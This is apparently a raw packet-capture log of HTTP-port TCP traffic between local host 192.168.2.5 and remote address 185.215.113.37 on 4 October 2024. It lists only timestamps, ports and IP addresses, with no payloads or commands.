Oct 4, 2024 05:45:00.289539099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289544106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289566040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289577961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289598942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289612055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289623022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289644003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289663076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289676905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289691925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289709091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289729118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289741993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289757967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289773941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289792061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289808035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289829016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289840937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289856911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289894104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289913893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289930105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289943933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289963961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289987087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289995909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290009022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290029049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290045023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290061951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290079117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290093899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290117025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290126085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290141106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290159941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290175915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290191889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290214062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290225029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290236950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290256977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290273905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290288925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290313005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290321112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290354013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290357113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.290373087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.290409088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333127975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333170891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333290100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333343983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333398104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333436966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333487034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333519936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333522081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333522081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333522081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333523035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333523035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333523035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333554029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333605051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333616972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333616972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333616972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333653927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333658934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333688021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333722115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333741903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333741903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333770990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333776951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333811045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333842993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333873034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333878040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333904982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333931923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333937883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.333957911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.333970070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334002018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334002972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334022045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334034920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334058046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334080935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334084988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334117889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334141016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334163904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334168911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334218979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334223032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334255934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334278107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334289074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334312916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334336042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334336996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334371090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334395885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334415913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334420919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334453106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334474087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334486961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334502935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334536076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334542990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334589005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334592104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334621906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334646940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334670067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334672928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334703922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334732056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334748983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334753036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334784985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334806919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334816933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334836006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334847927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334872961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334898949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334903002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334932089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334952116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334964991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.334980011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.334997892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335017920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335031033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335053921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335062981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335076094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335094929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335112095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335128069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335144997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335160971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335172892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335192919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335215092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335228920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335237026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335261106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335283995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335294962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335314035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335325956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335352898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335359097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335372925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335414886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335427999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335460901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335481882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335494041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335510015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335526943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335551977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335558891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335575104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335592031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335612059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335623980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335648060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335655928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335670948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335688114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335714102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335721016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335735083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335758924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335772991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335792065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335813046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335823059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335846901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335855961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335877895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335887909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335906982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335922003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335938931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.335964918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.335972071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.336016893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377212048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377307892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377370119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377424955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377444029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377444029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377459049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377492905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377526045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377543926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377545118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377545118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377545118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377577066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377580881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377609015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377633095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377640963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377674103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377674103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377691031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377723932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377744913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377757072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377784967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377810001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377825975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377842903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377868891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377875090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377892971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377923965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377934933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.377979994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.377981901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378032923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378037930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378067970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378092051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378097057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378114939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378144979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378155947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378184080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378205061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378216028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378238916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378247976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378274918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378278971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378304958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378312111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378333092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378343105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378360987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378375053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378397942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378407001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378427982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378438950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378468037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378470898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378485918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378504992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378525972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378536940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378560066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378568888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378595114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378602982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378614902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378635883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378660917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378667116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378690958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378700018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378719091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378732920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378755093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378763914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378787041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378796101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378812075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378829956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.378851891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.378889084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421452045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421473980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421525002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421540022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421564102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421578884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421593904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421607971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421622992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421638012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421652079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421665907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421679974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421705008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421719074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421732903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421756983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421776056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421788931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421787977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421802998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421827078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421842098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421857119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421871901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.421875954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421875954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421902895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.421922922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422000885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422050953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422084093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422115088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422148943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422179937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422180891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422180891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422180891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422197104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422230005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.422255993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422255993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.422261953 CEST	80	49704	185.215.113.37	192.168.2.5
